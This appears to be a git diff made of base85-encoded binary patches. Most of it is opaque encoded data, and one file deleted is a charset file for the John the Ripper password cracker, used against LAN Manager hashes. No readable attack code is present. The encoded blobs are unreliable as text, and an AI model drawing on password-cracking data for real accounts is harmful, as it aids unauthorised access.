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 diff --git a/data/john/run.linux.x86.any/lanman.chr b/data/john/run.linux.x86.any/lanman.chr deleted file mode 100644 index 9927991f0c59175f3aac0f85461f9bf61373fa90..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 215982 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�nwQw#bN8$y^7o=X0enI91*%#zq5Fu~+X5=@c zz8U?^7({UuBfcB?-Kg&dsAaxeXo$`k@x#a;M*T4QhcSrjQbznV@~2Th4FlItYpWLU zCGb8rGBygR6&n*f1IG>T27lBsvSU=o=#DWRYYIkmjqDoLHM(m|*Xq25Zit?dJ)?R? z_l)T|K#=Gg**B_hbl;f1GnisvkjW|}vjbxg_@$i#u%qYDaAFH68yYioIz{3o$(N*F zl730%CE1tcUJ@bc$XjT&K=O;oaAfqzn2|NG1uTDTi-9C_j_5&;NnYUI?YsnJtorVchDW=778ni)MaX6D%E0;53o+{n36bED_R%#BzW zxiAPU0fS~?t!I&6z{bVW$fZ$BqnE}korRfW>Xnfz!x84nn3XeW3+oWKM&25AYZwM^ zt%Rgd+*ljAHfnA3+L*O-SrV^Ez9RLC^eZy2$i5=?iU>LE#vn;o8>2VIY^<$2gXL_E zL{PdldTY$q%97P32b>W*BX>sajNTcuv(`5PvFM#aM5^zMxpM+AShgAo5rlYee1*&V;+t8W#liT zei{ACm|sq2tPP9+ivBhnwf;8dx3jQfB;SyFL;4MwH)P+CdqadGL*5}?Ma*nl&J~;}SlcG?mgHMfZ%Mx;^Oo#e za&L*=T7i)f(B_;)mI`=>DmJY|pjER5a94DQlLgW@D2ZngXc^DBk^^{}yp?sU>K3sU zK+gg$Fajv|t@5q*t?@}5kvt-GMEZ!#5!oYhM?^=~0z=AHBKpE|kYEPZesKn*maGgd z=a`{2p+ju!DpmsG8Wu5_X*igVY+40aYg*HEu1eyV@K0`%DEA}b@SB8$)qaOY|c;4E&eys=0{HL}qgC&~^+#J=W) z5P_qXs87h8kUb%HLWEHNiw8(SyPs^zI(+M~)SP)heTZx1>wmP;Zwl;Pa{ZX~+Sk3Yh~9eKw{Sd7;V?Vd`!hz(1{qYXI0N4*fTwAdnC?Co{>5ueMaVt>>0T;BBZ5# zEBjXUt?paXw-(3=9UfRYuxeoSz?y-z1Lx{afKfv$hgJ=(9$GWBc4!5{zmZiVi#QP2 zXh+ULkwZL1ub;@%HX&gXiXXVbS zoz*+bkh`vYbw&D$%oW)ya#uuG zRy~9BUBDK3K80a&Oh%YGCi)S_HH}8{}E26+Bv03=qwlM{6Ig_+{lU%SD4< z*8H*-Q0zHil=yAsZ>xS={o9(~*8V1OP4b%5HR)?I*JQ8BT@xYS|6}DJtNvL1$C^LZ z0;O9{)}5+5V3+u7-lbnhL>cck8ten;jV*>~jL5ut1w zI18m}ISqt=Px3vf_oUyGc~AB|x%WgUtN~Skbzew)Ao+pR2htzNd?5RQ+y^400Bz@x z%K1)2P6kc|jzhtZBtMe+Nctn0k7PfR`$&X1`Nql6sn7u%ZRjMRyWw=h0T?Z${}0K3 zNc}_lA2R=t{fFE?ME^M1bg0N7GX-E;VCFX`frlWwc;6C2mA!o zi!V-oaS9bWiq_+kc z?l%%il1WlY(n&H&vPp7DBBZq69q(KKKfgQk-2q6&4<~;(6a)1ShtSa?dIW@~NTx`o z2tk@jkxh|H5h0-Z>EutRemaevj-L+r=>VbF>4=?*oklzf*o>WvNu)`pNu^1r$)w4q z$)$txq)MX~El*8x!-Ko#L- i%J%>=!_M8KpW=Lj8 zWk_epWXNX7Wr$EjLcOu?P<2FFjVKgw>X2U#oE$jR9yzBTIEK>!i7d%1sVwO%nJn2X zAqFEPI726gP9ZKGIz*>-=-kkWk&`2*Moy2M899d85s4hh9H|`X93gbKIdVB7q%&hD z$4&uV$Igr$VAhSDm^e9cYT`5i7D4I6xd|aGk$F;iLSkt0Wb@?mM2OF)P9jeS-cB8Y zRRFJ>Ix%w+Vd~5wVMn|Qq;)eA1(F3)1=0mF1+oQl1tP=-b0_Cc0eF$i&m9oh&7D{{ zxo~RX^un2ivkT`IB#I=9q>2QuZHi=z@Z^46(arvbUQ4#4YfNt8&INR>#J$dt&I$d!nYbFG~O0I$X3Wzh$>FpIf(+ookJM`Au;gTAuvXf_THgXs}Tv`JA3aO zAi7GjN~%h_N~TJ-N(iE;>coSS4^BNe{opu4esJ!=3BdB+p_Yq+gV{TvwA+)Yk*txb zk*<-c5uBi_5dpm)oqTla(dkEL9-V!3?$HUr^)IJ>Ig}$1MFYLvFDHIG`P-@APXBfs zMgMjV=i95dhXjM1a{Fk~gGoNZ*jTA$vpahUkXG z7m{B{eIfmY%ohT#!qE`W^()D*q`s2=O6DusujIZGeI@aYqjew=@8xauo zJIU{)zLWk=<~!N%1dl*)3O`8xAoYXv4>CUp@h9+;0HHrg{v`F2^iMKB$^InwljtXj zm}E>UCLNQB$;JeNjs6(PlvP-H z-6PW@gqnay0z&pl_DS_g_sR6h_Q~~$`XmM<2c!n12V@3h2Lv!A;Ng(ukkpX$kj#+m zklc`HNMb~CL~2BOL}o;GM1Vd5`i)7BNsUR5$&AU4$&HD|Bqk&$q$Z>%WF}-M1fU~e z-IU~%)Rgp;%#`eu+>~faVn%XCYDRiSW=3{KfHeZL%}LHl%}LM6%*oEl&57nD79 